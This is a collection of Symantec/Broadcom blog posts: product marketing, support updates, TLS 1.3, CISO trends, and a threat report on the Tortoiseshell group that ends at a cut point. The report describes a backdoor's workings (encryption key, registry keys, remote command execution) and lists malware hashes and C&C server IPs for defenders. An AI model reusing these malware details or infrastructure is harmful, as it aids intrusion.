Improved incident rule tuning – With the data captured in the cloud console, customers can better understand how their incident rules are performing and tune them as needed.
Extra Detection Analytics –With so much data coming into the SOC, it is very difficult to perform large scale analytics on millions of events per day. Instead, we automatically identify common behaviors and provide another thread that the SOC analyst can use to carry out investigations.
Prior to Adaptive Incidents, the only way the SOC could reduce the number of incidents in the environment was to switch off an entire incident category. Doing this could mean that the SOC misses true threats that may lead to a breach. But Adaptive Incidents allows us to look at events at a more granular level and present only those that require investigation. It’s customized to each environment; it’s automatic; and it’s part of SES Complete. Any customer using SES Complete’s EDR should be able to see their Adaptive Incidents in the ICDm cloud console today.
Our extensive global telemetry enables us to build the groundbreaking adaptive technology that is part of Adaptive Incidents. This is just one of the features across the entire portfolio that includes the adaptive capability. Other features are Adaptive Protection, which is part of SES Complete, and User Risk Based Detection, which is part of DLP16.
It’s a game-changer because it uses contextual information from each customer to better reduce false positives and risk overall. Look for other adaptive features to be released soon.
|
Time to Take Symantec Endpoint Support to a New Level - So We Did!
Broadcom Software delivers on improved support
Is your endpoint security robust enough to stand up to today’s attackers? If you can’t answer that question in the affirmative, your organization is living on borrowed time.
But there’s no reason to play Russian Roulette with your security. Even as they find themselves targeted by cohorts of increasingly sophisticated cyber criminals, enterprises nowadays have access to endpoint technologies they could only have dreamed about a few years ago. Symantec, a division of Broadcom Software, is a clear leader in launching innovative technologies that help companies keep their endpoints protected.
Indeed, as the most recent ATT&CK Evaluations performed by MITRE Engenuity concluded, no other endpoint protection vendor matches this high level of combined protection and detection. The other important part of the story is that we’ve buttressed our customers’ ability to stave off threats by building a global endpoint support organization to make sure their organizations retain the upper hand.
At a high level, the mission we set for ourselves was to make sure that customers were successful using our endpoint products. And that meant best in class, award-winning support on par with the technologies we were putting in our customers’ hands.
Is your endpoint security robust enough to stand up to today’s attackers? If you can’t answer that question in the affirmative, your organization is living on borrowed time.
As we’ve integrated Symantec’s operations across Broadcom Software over the past year, the resulting support organization has carried out quite a lot of heavy lifting.
A few highlights:
We consolidated operations into a single Support Organization to standardize and provide a globally consistent and improved experience
We revised our Advanced Support Offerings to fit the different needs of our customers and further ensure alignment of a high-touch support model, featuring highly trained experts
We expanded our support capabilities globally through a network of certified partners under stringent criteria to enhance speed of delivery and customer intimacy.
We invested in Knowledge-Centered Service practices to make solutions more available and easier to find in order to solve issues quicker
We refined our Case Advancement Process, with the focus to ensure a direct to solver model, eliminating inefficiencies and improve line of sight into Product Engineering
The consolidation of our support organization paid off with dramatically improved response rates and consistently higher customer satisfaction ratings. A big part of that was due to improved accessibility. We wanted to make sure that our customers were able to open support tickets in various ways, no matter where they were located. Now, we have the ability to submit new incidents around-the-clock while also ensuring continuous support for Severity 1 incidents.
We've also made it easier to escalate problems. If you have a concern about how your expectations for service are being met, you now can engage Broadcom Support management and express your need for increased attention. You can either raise a concern directly in the support case, or for Severity 1 incidents you can simply call into support, and the first available support manager will assist.
We’ve ushered in these changes as we’ve built out centers of excellence in different geographies around the world, stretching from the U.S. to Central Europe, India, Japan, and Australia. On a practical level, it means we now can devolve full ownership of support issues to different regions where local engineers work with customers and solve their endpoint problems in the local time zone and according to regional needs.
Over the coming months, we’ll continue to invest both in our engineering skills and departmental processes to continue making our support organization more and more efficient.
So when we say that Broadcom support is a click or a call away, that’s not hyperbole. This network of coverage means that our people are always available. Support has direct engagement with the security response team and product engineering team, and that results in faster resolution and timely proactive updates. The upshot: we can ensure a consistent experience for customers, no matter where they are in the world.
As I noted earlier, we’ve invested a lot of time and effort to sharpen our response times and improve the quality of customer experience. But support, particularly when it applies to the constantly changing world of endpoint security, can’t remain static. Not if you want to be known as a trusted advisor. Over the coming months, we’ll continue to invest both in our engineering skills and departmental processes to continue making our support organization more and more efficient.
This is the kind of story I love to tell. I've seen huge improvements but we’re not finished. Stay tuned for more.
Helpful Links
Contact Broadcom Support
Broadcom Endpoint Security Support
Broadcom Security Center
Raising a Case Concern through the Support Portal
Broadcom Support Offerings
Expert Advantage Partner Finder
Broadcom Partner Support End-Customer Guide
Designated Support Engineer Program
Threat Submission - 24x7
Support Portal Enhancements (Project Galaxy)
Symantec Endpoint Security Complete
How to subscribe to product notifications and alerts
|
TLS 1.3: Embrace the New Encryption Standard
The latest version of this important protocol helps make communications and e-commerce more secure
Malware flows in the millions per day. The level of the threat impact increases exponentially when the malware is shielded in encryption. TLS 1.3 is the next evolution in encryption and promises to deliver stronger security – great for users – but also potentially good for the bad guys too.
Transport Layer Security (TLS) is the ubiquitous encryption mechanism used within enterprise networks and over the public Internet. TLS provides both authentication and end-to-end encryption. However, TLS can be a double-edged sword. While its encryption protects the user’s data, it also prevents any network security tools from detecting malware or other threats.
What You Get
TLS 1.3 will only support encryption channels that provide Perfect Forward Secrecy. This means that someone can’t take a copy of the encrypted traffic and play it back later using brute force means to decrypt it.
It limits the use of ciphers to a handful of very strong ones. Plus, most handshake messages are encrypted in TLS 1.3. In other words, not only will the channel be encrypted but also the setup of the session will be largely encrypted – a strong step forward in the TLS protocol. The TLS 1.3 handshake works to enable a faster session start as fewer round trips are needed before data is passed.
Where It Gets Tricky
A middlebox is a device that scans for malware along an encrypted channel. Things get complicated when a middlebox is unable to do its job and maintain a high level of security on the encrypted channel. Additionally, the middlebox has to intercept the encrypted data for scanning without being seen as an unwanted attack.
For example, if a browser tries to connect to a social media server, and a middlebox between the two is not running TLS 1.3, one of three things can happen.
A decision can be made on the middlebox to block the session – a terrible user experience when someone can’t access the site.
The middlebox can decide to let the session through without inspection – a win for malware.
A middlebox can downgrade the session to a weaker TLS connection so the security tools can do their job. Middleboxes that use the earlier protocols can choose weak ciphers that compound the security risk.
Do You Need TLS 1.3?
Many believe that adoption of TLS 1.3 will happen sooner rather than later because industry giants are pressing for quick adoption. Corporations like Facebook and Google Chrome have already implemented TLS 1.3 in their systems. They see the urgency to establish the level of security and malware detection TLS 1.3 provides as soon as possible.
Heed the call and empower your users to connect to popular sites through top web browsers with strong encryption from your environment – while making sure that your security tools can catch any malware that your users’ sessions may pick up along the way. It’s as easy as using TLS 1.3.
If you found this information useful, you may also enjoy:
White Paper: Secure Decryption for TLS 1.3
Webinar: TLS 1.3: the future is encrypted. Are your network security tools ready?
|
Tolly Group Validates Symantec Product Alignment with SASE
Offering our customers so much more
Touted as a framework for effective cloud security, Secure Access Service Edge (SASE) is gaining momentum. No surprise, right? Many security teams are choosing to align their security with what analysts have outlined as the security path to the cloud. Setting your sights on SASE makes sense. It promises comprehensive security and access – long delivered only by trusted on-premises components – now available in the cloud to support anywhere, anytime, instant and secure access to critical services for any user from any device. Broadcom commissioned Tolly Group to review our Symantec Web Security solution and to see how we aligned with the SASE framework. They just published their report. Take a look.
Why did we commission the report?
With the acquisition of Symantec Enterprise by Broadcom Inc. and the creation of the Broadcom Software division, we felt that many may have lost sight of what we continue to deliver: addressing cloud security needs for the world’s most-demanding organizations. We are still right here, developing, innovating, acquiring technologies that align with SASE and meet the needs of organizations both large and small.
Symantec SASE provides all elements of Gartner's framework plus additional data awareness capabilities.
- Tolly Group
Many may dismiss Symantec, by Broadcom Software, as a key player in SASE, saying, “Yeah, they’ve been a leader in proxy and endpoint security, but SASE is so much more”. Yes, SASE is so much more and when you look more closely at what Symantec offers today, you might be surprised. Given that Proxy/Secure Web Gateway(SWG) is likely the most important piece of a SASE solution, wouldn’t it make sense that the leader in this technology might also expand, innovate, grow, and even acquire technology to create a comprehensive SASE solution and address the changing needs of customers? That’s what we’ve been doing for years, even before SASE was a thing. It was great news to see a wrapper around these foundational security elements along with new security innovations like CASB, Web Isolation, and Zero Trust Network Access (ZTNA). It helped us point to what we’ve been delivering, as well as narrow our focus on any missing components and refine our roadmap.
Offering a complete solution
But, it’s easy for us to say we have a SASE solution. We get to say what we want about our tech. We promote it just like every other vendor that wants to sell to customers. It’s easy for any vendor to claim, “We have a SASE solution”. However, only one or two pieces of SASE doesn’t make for a complete solution. So, rather than just taking our word for it, we felt it was important to get someone else, a third-party who knows technology and security, to analyze our offerings and assess just how close we come to delivering a comprehensive SASE solution. We chose Tolly Group, a trusted company that has been providing performance and analysis testing and research for networking and security solutions for many, many years and who could objectively evaluate what we offer. You might be surprised at how complete our solution is. Check out the report and then let us discuss just how we can help you take your amazing Symantec SWG solution to a next-level SASE solution with Symantec Web Protection. You are closer than you think.
|
Tomahawk 5: Driving the Future of AI/ML Networking
Over 50 years of innovation and engineering excellence
The new Broadcom StrataXGS® Tomahawk 5® is a triumph of engineering innovation that paves the way for a new era of cloud computing— affirming the spirit of Connected by Broadcom philosophy. It enables the more powerful, efficient, environmentally responsible, and affordable data centers needed for the compute, storage, and AI/ML processing in future hyperscale cloud infrastructure. Tomahawk 5 is the world’s first and only 51 Terabit per second (Tbps) switch, providing double the bandwidth of any other switch available today.
This new silicon chip continues the industry-leading legacy of Broadcom innovation in the Ethernet switching space, a record that includes doubling the bandwidth of its Tomahawk series every two years since its first version was introduced in 2014. To put this history in perspective, a single Tomahawk 5 replaces forty-eight Tomahawk 1 switches in a data center network, resulting in a 95 percent reduction in energy consumption.
So, how did we accomplish this and what does it mean?
Turning Moore’s Law on Its Head
The basic hypothesis of Gordon Moore’s famous theorem, that the number of components in an integrated circuit doubles every two years, is now reaching its physical limits. It is becoming impossible to continue scaling chips further and still conform to the exponential growth predictions of Moore’s Law.
The sunsetting of Moore’s Law creates challenges in planning and developing new cloud-scale networking infrastructure. The sheer size of these hyperscale networks and their concurrent need for bigger data centers to house them, compounded by the tremendous bandwidth requirements of new AI/ML workloads, is increasingly problematic.
There is growing consensus that what’s needed is a solution that can unify the various components of data center infrastructure, from general-purpose compute to storage to highly specialized and more bandwidth intensive AI/ML accelerators. A solution is needed that reduces infrastructure size, power requirements, environmental impact, and overall cost.
Tomahawk 5 answers that need by basically turning Moore’s Law on its head. It reinvents the integrated circuit to do far more with far less.
Tomahawk 5 is specifically designed to meet the needs of massive data centers by eliminating the barriers to more efficient and faster processing. Rather than building more complexity and processing responsibilities into the chip, it fundamentally does the opposite.
Tomahawk 5 is the world’s first and only 51 Terabit per second (Tbps) switch, providing double the bandwidth of any other switch available today.
Tomahawk 5 is part of Broadcom’s three-prong strategy to Ethernet switches, where domain-specific switch chips are created to focus on the needs of different markets. Combined with the Trident and Jericho families, which focus on the Enterprise and Service Provider markets, respectively, Tomahawk is fully optimized for the needs of hyperscale data centers, reducing chip functionality to only the features needed for hyperscale data centers.
Tomahawk 5 leverages the advantages of an open Ethernet ecosystem, AI/ML technologies, and other software innovations to enable the highest performance networks with the lowest cost and lowest energy consumption. In a sense, Tomahawk 5 essentially assimilates a large portion of the data center’s network on a single chip and, echoing a phrase that many might recall from the glory days of Sun Microsystems, makes the network the computer.
The chip’s monolithic design eliminates chip-to-chip interfaces, enabling efficient data communication within the chip. This high level of integration vastly improves the network’s speed, enabling dramatic performance improvements for the most exciting next-generation technologies including virtual reality, immersive scale video experiences, driverless cars, and other forms of autonomous vehicle transportation. As a single monolithic chip, it also provides the highest energy efficiency.
One Chip to Unify Them All
Tomahawk 5 also parallels the remarkably swift advance of AI/ML technology. Features built into Tomahawk 5 handle many of the most critical functions driving scale-out networking, including all the traffic management functions critical to enabling better and more efficient use of the massively shared infrastructure in large data centers – a huge advantage over proprietary network fabric solutions.
Tomahawk 5 automatically selects the most efficient way to transfer information across the network by tracking utilization of all links both at the switch itself and downstream. It monitors the loading and health of these links and steers traffic away from failed links. The result is dramatically improved network utilization, reduced congestion, and shortened job completion time (JCT) for even the largest AI/ML workloads.
Tomahawk 5 also demonstrates why Ethernet, with advantages that include the lowest power consumption, highest bandwidth, and scalability to the highest number of compute nodes, is the best solution for creating a unified network infrastructure at hyperscale. The benefits include:
Enables next generation unified data center infrastructure
Extends virtualization across all data center workloads
Provides highest performance I/O options
Delivers unmatched power efficiency
The foundation for the next generation of cloud scale computing and AI/ML infrastructure is here. Drive that future today with Tomahawk 5, Connected by Broadcom.
Learn More Now:
Read more the new Broadcom StrataXGS® Tomahawk 5®
Read the Broadcom StrataXGS® Tomahawk 5® PR Launch Announcement
|
Top 5 Symantec Integrations that Accelerate Your Digital Transformation
Key Integrations within Symantec Integrated Cyber Defense deliver unique value to organizations as they cross the digital divide
Everyone is talking about “Digital Transformation” and the journey that organizations and individuals are taking as we all cope with the instantaneous move to conducting business digitally in a Covid world. Organizations are migrating more of their business operations to digital. People are working remotely using a range of digital tools. Digital Transformation has gone into overdrive.
Digital Transformation is complex and can be very costly. Enter SASE (pronounced “Sassy”) or Secure Access Service Edge. In a previous blog post, Rees Johnson explains what SASE is and why it’s important in any digital transformation. With a SASE architecture, companies can:
Optimize user experiences
Migrate to the cloud without complication
Enable a productive remove workforce
Sounds easy, right? Not always. To achieve SASE, organizations need to integrate their security stack which allows:
Enabling the sharing of threat data
Closing protection gaps across vendor and product silos
Deploying end-to-end security orchestration, automation, and remediation
Who Does the Heavy Lifting?
Integrating and streamlining your security stack is a tall order, but it has a lot of benefits, including better security, lower operational costs, and fewer vendors to manage. Yet, the work involved in integrating various products, so they all work together seamlessly, is a heavy lift. That’s why Symantec follows a strategy of Integrated Cyber Defense (ICD). We integrate security products—Symantec’s and third-party products—so you don’t have to.
By “integrations” we mean integrating capabilities across the security stack so the integrated solutions can have deeper context and streamlined processes. These capabilities run under native APIs and are tested together as a single solution. The value you get from these integrated capabilities is not just feature-rich security but speed, simplicity, streamlined operations, and ultimately lower costs.
The Whole is Greater
As Aristotle once said, “The whole is greater than the sum of its parts”. That’s the idea behind Integrated Cyber Defense. Not only do we integrate products, so they work seamlessly, but the integration brings new value—new features or extension of features—to your security posture.
Symantec has integrated a lot of security products that bring incredible value to our customers. In this blog, we’ll focus on the capabilities of the Symantec ICD platform that help your digital transformation—specifically those that help manage remote workers.
We integrate security products—Symantec’s and third-party products—so you don’t have to.
Imagine this scenario: your employees are working remotely, and they are using their devices to access your network and its connected resources and services like:
Internal corporate resources and company applications
Cloud applications—both sanctioned and unsanctioned
Navigating to key websites (and some non-business, possibly uncategorized ones too)
Sending and receiving email from corporate accounts, and personal accounts
All of these activities are potential attack vectors that could be exploited by malicious actors. Below are the top 5 integrations that help protect users and the corporate data they are accessing while performing these kinds of daily activities.
Top 5 Symantec Integrated Capabilities that Accelerate Digital Transformation
#5: Secure Access Cloud with VIP
Your remote employees are increasingly accessing your organization’s applications from their home networks. You can set up multi-factor authentication in Symantec’s Secure Access Cloud product, which leverages Symantec VIP. This allows you to authenticate users before providing access to any of those applications. No coding or maintenance is required on your end.
#4: Cloud Access Security Broker (CASB) with Secure Access Cloud
As your employees work from home, they are using multiple hosted applications (either in public or private data centers), and they could be working from just about anywhere in the world. The integration of CASB with Secure Access Cloud gives Secure Access Cloud the ability to enforce DLP policies for managed devices, regardless of the user, application or location of either.
#3: Cloud Access Security Broker (CASB) with Endpoint Security
Remote employees are accessing your organization’s network through a variety of devices and operating systems. They are also accessing whatever apps they need to get the job done—whether you have sanctioned them or not. The integration of CASB with Symantec Endpoint Security gives you visibility into unsanctioned apps being used on all workstations, tablets, and mobile phones across a variety of operating systems. This integration comes alive whether you’ve deployed our on-premises Endpoint Protection (SEP) or our latest release of Symantec Endpoint Security Complete.
#2: Data Loss Prevention (DLP) with Email Security.cloud
With so many employees accessing company email through Office 365, Gmail, and Exchange, it’s crucial for organizations to protect sensitive data in the cloud against breaches, spear phishing, malware, and spam. The integration of Symantec DLP with Email Security.cloud stops data loss through email—whether it’s accidental, negligent, or malicious. The combination of Symantec’s peerless data loss prevention and email security technologies gives you powerful security and compliance controls. The solution extends full, content-aware DLP capabilities to Office 365, Gmail, and Exchange, inspecting outbound email traffic for sensitive content such as personally identifiable information (PII) and intellectual property.
#1: Data Loss Prevention (DLP) with Web Security Service (WSS)
Unsanctioned apps are only the beginning of “Shadow IT” especially when employees, whether well-meaning or not, try to transfer confidential data to the web. Sometimes it’s impossible to know whether data is confidential or not, because it's encrypted. The integration of DLP with WSS stops data transfer to the web, even when traffic is encrypted. This is an important element in keeping your organization’s data protected.
Only a Small Slice of What's Possible
Symantec Integrated Cyber Defense has over 70 integrations across the portfolio that bring you added value as you tackle digital transformation, attempt to discover evolving threats, and adhere to privacy and compliance regulations. We do the heavy lifting so you don’t have to.
We’ll continue this series on key integrations and the value they deliver for you. Next up: Top 5 Integrations that help you uncover evolving threats.
|
Top 6 Security Challenges for CISOs in 2024
What to expect for these emerging trends
In the ever-evolving landscape of cybersecurity, staying ahead of the curve is not just a goal; it's a mandate. As we approach 2024, the digital frontier becomes more complex and dynamic, demanding heightened vigilance from Chief Information Security Officers (CISOs). In this era of relentless technological innovation, it's crucial for CISOs to not only anticipate but proactively address emerging threats.
Buckle up for a transformative year ahead as we unravel six cybersecurity trends set to reshape the very fabric of decision-making for CISOs in 2024. From quantum leaps in technology to the intricacies of supply chain vulnerabilities, this is a summary for those at the helm of safeguarding digital fortresses against an ever-expanding array of threats.
Quantum Computing Puts Encryption to the Test: The advent of quantum computing presents a double-edged sword for CISOs. While it holds the potential to revolutionize technology, it also poses a serious threat to traditional encryption methods. CISOs must brace themselves to fortify their digital defenses against the looming quantum era, reevaluating cryptographic protocols and exploring quantum-resistant solutions to stay one step ahead of cyber adversaries. Keep a lookout for more on how Symantec’s innovation team is keeping on top of these developments.
Zero Trust and Data Protection Integration: Zero Trust remains a cornerstone for CISOs seeking a comprehensive security paradigm. Embracing the ongoing cultural shift required for Zero Trust adoption becomes crucial. CISOs must not only focus on access control but also integrate Data Loss Prevention (DLP) into the strategy. Technologies like ZTNA, SWG, CASB, and Email make it crucial to extend data protection strategies across diverse platforms, ensuring security regardless of data location. Symantec stressess Data Loss Prevention in these controls to extend robust data protection across diverse resources. Our comprehensive approach ensures consistent detection and response, enabling seamless integration into CISOs' overall Zero Trust strategy for organization-wide security. Learn more.
Ransomware’s Unyielding Threat Activity: Ransomware continues to haunt CISOs, leveraging 'Living off the Land' (LOTL) attacks that exploit legitimate executables. The challenge of LOTL attacks lies in distinguishing between legitimate and malicious activities. The defender's delicate balance lies in an adaptive protection solution, offering a way to thwart ransomware without disrupting user experiences. CISOs must grapple with evolving tactics, such as LOTL, emphasizing the need for vigilance in the face of persistent threats. Symantec has solved this problem through the use of what we call Adaptive Protection.
Cost-Driven Security Decision-Making Raises Concerns: The paradox of cost-driven security decisions, particularly an over-reliance on a limited toolset, will become more pronounced. Economic uncertainty in the coming year is likely to have an impact on security budgets and drive product consolidation. Attackers will be poised to take advantage. Meanwhile, CISOs must navigate the tension between cost savings and cybersecurity. The challenge lies in breaking away from the cycle of reactive security measures and urging corporate leaders to prioritize proactive solutions that don’t compromise the organization’s security posture. Among those solutions is Symantec’s cross-control security portfolio which includes its full-feature Endpoint offering that provides a deep security stack to protect and defend against today’s emerging threats.
Battling Supply-Chain Vulnerabilities: Supply chain attacks remain a persistent concern, with an extensive reliance on third-party providers for an organization's codebase. CISOs must navigate the evolving threat landscape by implementing holistic strategies at various stages of the software’s lifecycle. While initiatives like Software Bill of Materials (SBOMs) show promise, experienced CISOs understand the need for ongoing efforts involving skilled personnel, self-improving processes, and targeted technology to defend against the complexities of software supply chain attacks.
Responsible Integration of AI and Chat GPT: The delicate balance between harnessing the efficiency and technological advancements of these tools while maintaining robust security measures poses a critical dilemma. CISOs must navigate the ethical considerations surrounding AI deployment, ensuring transparency, fairness, and accountability in automated decision-making processes. Striking this equilibrium will be essential to leverage the transformative potential of AI and Chat GPT while safeguarding against potential vulnerabilities and ensuring the trustworthiness of these technologies in the evolving threat landscape. Read about how Symantec enables Secure Adoption of Gen AI Apps.
In the face of these challenges, CISOs must adopt a proactive and adaptive stance, embracing innovation while shoring up the foundational elements of cybersecurity. By anticipating and strategizing for these trends, they can not only navigate the complexities of 2024 but also lead their organizations to a more secure and resilient future.
|
Top Cyber Security Posts Still Lack C-Level Cred
Despite the rise of CISOs and CSOs, top security execs still lack the autonomy and clout given to their C-suite counterparts
There’s good news and bad news when it comes to top cyber security posts in the corporate enterprise. The upside is more companies have appointed chief security officers (CSOs) and chief information security officers (CISOs). The downside is too many hold the title without the same measure of autonomy given to other C-level execs.
KrebsOnSecurity, a site devoted to security issues, recently dove into the issue, reviewing the web sites for the top global companies by market value. They found only five percent of behemoths listing their top security executives among their highest ranking officials while the same companies highlighted top executives in other domains--for example, nearly three-quarters (73%) named their human resources executive (chief people officer) and one-third included a chief marketing officer.
At the same time, however, more companies are elevating security professionals to C-level titles. A 2017 ISACA report on the state of cyber security found that 65% of organizations now employ a CISO, up from 50% in 2016, and a greater number are considering rearranging the reporting structure so the CISO no longer reports into the CIO. The 2019 State of the CIO research found less momentum for CSO titles: Currently only 13% of respondents to the survey have appointed a CSO, and among those that have, 73% report into the CEO or corporate CIO.
This begs the question: Why stack the deck with executive security manpower if only to curtail their authority and lessen their clout over the rest of the enterprise? The answer, experts say, is that while companies have made significant strides in cyber security, the discipline is still not viewed as a foundational business strategy, in part because it’s a cost center as opposed to technology that presents revenue-generating opportunities.
That head-in-the-sand strategy is particularly prevalent in the industrial sector, notes Andy Bochman, senior grid strategist for National & Homeland Security at the Idaho National Laboratory, the nation’s premiere nuclear energy research lab. “In many companies, the CISO or CSO is usually a euphemism to say, `of course we take security seriously,’” he explains. “If you peel back the euphemism, the role typically operates as a senior manager or director—it’s not on the level that gets you into the inner sanctum where the true C-suite lives.”
Org Charts Revisited
Much of the issue is organizational as most top-level cyber security executives report into the CIO or CFO instead of a direct line to the CEO like their C-suite counterparts. This is particularly problematic in the industrial world where cyber security concerns span both IT and OT (operational technology) systems, which remain siloed despite the on-going push for convergence as part of Industrial Internet of Things (IIoT) and digitalization strategies. In addition, the executives often operate at cross purposes with the CIO pressing forward with digital innovation as the security execs pump the brakes due to concerns about risk and exposure.
“Their values are often at odds with each other,” Bochman says. “CIOs are paid to drive use of innovative technology while the CSO is concerned about opening up tremendous attack surfaces.”
At the same time, cyber security teams still remain relatively small compared to other functional areas, which makes some organizations hesitant to appoint a C-level oversight title, according to David Bradbury, senior vice president and CSO at Symantec. For example, Symantec maintains a team of 150 security professionals to support 12,000 internal employees—a staff considered moderate compared to many similarly-sized companies that staff only a few dozen cyber security personnel.
Cyber security teams still remain relatively small compared to other functional areas.
At the same time, just because a CSO or CISO doesn’t direct line report into the CEO shouldn’t mean they can’t be effective. “It’s not always the right structure—you can’t have the whole company reporting into the CEO,” Bradbury explains. “A large component of the CISO role is operational and not necessarily aligned with the CEO agenda.”
Bradbury says the problem isn’t with large companies or with firms that don’t call out their top security professionals, but rather with mid-tier organizations that still have work to do to elevate cyber security objectives and policies. “In the mid-tier, we’re not seeing security getting the oxygen it needs to be effective,” he says. “That’s where the battle needs to be fought in the next five to 10 years. That’s where security is failing to get traction, and this could be one of many factors.”
Over time, security experts like Bochman hope to see a single C-level security role that would have oversight of IT/OT as well as cyber and physical security domains. In the interim, however, companies are addressing security gaps primarily through technology implementations, but the real transformation will come with organizational and cultural change.
“Cultural change takes a lot longer than technology change,” Bochman says. “We’re at some mid-way point from being totally flat footed on cyber security as evidenced by the org chart to making substantial gains.”
|
Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks
Previously undocumented group hits IT providers in the Middle East.
A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers’ customers.
The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.
"#Tortoiseshell group uses custom malware, off-the-shelf tools, #livingofftheland techniques to compromise victims https://symc.ly/2lV4Ovn"
CLICK TO TWEET
Another notable element of this attack is that, on two of the compromised networks, several hundred computers were infected with malware. This is an unusually large number of computers to be compromised in a targeted attack. It is possible that the attackers were forced to infect many machines before finding those that were of most interest to them.
We have seen Tortoiseshell activity as recently as July 2019.
Custom tools
The unique component used by Tortoiseshell is a malware called Backdoor.Syskit. This is a basic backdoor that can download and execute additional tools and commands. The actors behind it have developed it in both Delphi and .NET.
Backdoor.Syskit is run with the “-install” parameter to install itself. There are a number of minor variations of the backdoor, but the primary functionality is the following:
reads config file: %Windir%\temp\rconfig.xml
writes Base64 encoding of AES encrypted (with key "fromhere") version of the data in the "url" element of the XML to:
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd
This contains the command and control (C&C) information.
writes Base64 encoding of AES encrypted (with key "fromhere") version of the "result" element of the XML to:
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd
This holds the later portion of the URL to append to the C&C for sending information to it.
deletes the config file
The malware collects and sends the machine’s IP address, operating system name and version, and Mac address to the C&C server using the URL in the Sendvmd registry key mentioned above. Data sent to the C&C server is Base64 encoded.
The backdoor can receive various commands:
"kill_me":
stops the dllhost service and deletes %Windir%\temp\bak.exe
"upload "
downloads from the URL provided by the C&C server
"unzip"
uses PowerShell to unzip a specified file to a specified destination, or to run cmd.exe /c <received command>
Tools, techniques, and procedures
The other tools used by the group are public tools, and include:
Infostealer/Sha.exe/Sha432.exe
Infostealer/stereoversioncontrol.exe
get-logon-history.ps1
Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logon-history.ps1 tool. It runs several commands on the infected machine to gather information about it and also the Firefox data of all users of the machine. It then compresses this information before transferring it to a remote directory. Infostealer/Sha.exe/Sha432.exe operates in a similar manner, gathering information about the infected machine.
We also saw Tortoiseshell using other dumping tools and PowerShell backdoors.
The initial infection vector used by Tortoiseshell to get onto infected machines has not been confirmed, but it is possible that, in one instance, a web server was compromised to gain access by the attacker. For at least one victim, the first indication of malware on their network was a web shell (d9ac9c950e5495c9005b04843a40f01fa49d5fd49226cb5b03a055232ffc36f3). This indicates that the attackers likely compromised a web server, and then used this to deploy malware onto the network.
This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network.
Once on a victim computer, Tortoiseshell deploys several information gathering tools, like those mentioned above, and retrieves a range of information about the machine, such as IP configuration, running applications, system information, network connectivity etc.
On at least two victim networks, Tortoiseshell deployed its information gathering tools to the Netlogon folder on a domain controller. This results in the information gathering tools being executed automatically when a client computer logs into the domain. This activity indicates the attackers had achieved domain admin level access on these networks, meaning they had access to all machines on the network.
Presence of OilRig tools
In one victim organization, we also saw a tool called Poison Frog deployed one month prior to the Tortoiseshell tools. Poison Frog is a backdoor and a variant of a tool called BondUpdater, which was previously seen used in attacks on organizations in the Middle East. The tools were leaked on Telegram in April this year and are associated with the group known as APT34, aka Oilrig.
It is unclear if the same actor deployed both the Poison Frog tool and the Tortoiseshell tools, however, given the gap in time between the two sets of tools being used, and without further evidence, the current assumption is that the activity is unrelated. If that is the case, this activity demonstrates the interest from multiple attack groups in industries in this region. The Poison Frog tool also appears to have been leaked prior to deployment to this victim, so could be used by a group unrelated to APT34/Oilrig.
Attacker motives
The targeting of IT providers points strongly to these attacks being supply chain attacks, with the likely end goal being to gain access to the networks of some of the IT providers’ customers. Supply chain attacks have been increasing in recent years, with a 78 percent increase in 2018, as we covered in ISTR 24. Supply chain attacks, which exploit third-party services and software to compromise a final target, take many forms, including hijacking software updates and injecting malicious code into legitimate software.
IT providers are an ideal target for attackers given their high level of access to their clients’ computers. This access may give them the ability to send malicious software updates to target machines, and may even provide them with remote access to customer machines. This provides access to the victims’ networks without having to compromise the networks themselves, which might not be possible if the intended victims have strong security infrastructure, and also reduces the risk of the attack being discovered. The targeting of a third-party service provider also makes it harder to pinpoint who the attackers’ true intended targets were.
The customer profiles of the targeted IT companies are unknown, but Tortoiseshell is not the first group to target organizations in the Middle East, as we have covered in previous blogs. However, we currently have no evidence that would allow us to attribute Tortoiseshell’s activity to any existing known group or nation state.
Protection/Mitigation
The following protections are also in place to protect customers against Tortoiseshell activity:
Backdoor.Syskit
Indicators of Compromise
SHA256 Name
f71732f997c53fa45eef5c988697eb4aa62c8655d8f0be3268636fc23addd193 Backdoor.Syskit
02a3296238a3d127a2e517f4949d31914c15d96726fb4902322c065153b364b2 Backdoor.Syskit
07d123364d8d04e3fe0bfa4e0e23ddc7050ef039602ecd72baed70e6553c3ae4 Backdoor.Syskit
Backdoor.Syskit C&C servers
64.235.60.123
64.235.39.45
|
Toward a New Understanding of Cyber Security
The old mantra of detect and respond is overdue for a rethink as security practitioners take stock of a changing constellation of cyber security considerations
The security industry has historically worked under the assumption that it was possible to prevent breaches. And we’ve been largely successful stopping bad things from happening by designing products to keep our customers safe from cyber attacks.
However, with the unprecedented rise in data breaches, the old mantra of detect and respond is overdue for a rethink.
Cyber criminals have revealed new levels of ambition, marked by extraordinary attacks like the weaponization of IoT devices (Mirai botnet), those targeting Yahoo, Equifax, and the attempts to disrupt the U.S. electoral process. Ferocious attacks have become the new norm and such a common staple of the nightly news that even my grandmother is aware that we live in a dangerous era of global cyber threats.
As a result, many organizations around the world are revisiting their traditional security posture - and for good reason. In today’s world where it takes, on average, 256 days to detect an attack and 96% of alerts are not even investigated, boards are questioning their companies’ security effectiveness and demanding answers from IT to figure out how to extract better value from their current investments.
Increasingly, we are seeing the industry move toward the notion that if bad things are inevitably going to happen, then what is the right way to think about security?
This marks a shift in how security practitioners approach the question of cyber security. While they still need to adopt steps to detect and respond to potential threats, they also need to stay informed about looming threats to better predict and ultimately prevent the attack from happening with an effective cyber defense system.
This approach borrows a page from the art of war, where understanding your enemy is key to defense. In today’s world, we need to move from our reliance on technology alone and start to cultivate our security IQ, taking a different approach to emerging threats and cyber criminal tactics to ultimately predict and prevent a compromise from happening.
Increasingly, we are seeing the industry move toward the notion that if bad things are inevitably going to happen, then what is the right way to think about security?
Analytics, Machine Learning & Orchestration Key Cyber Defense Enablers
Some ideas about where all this is heading:
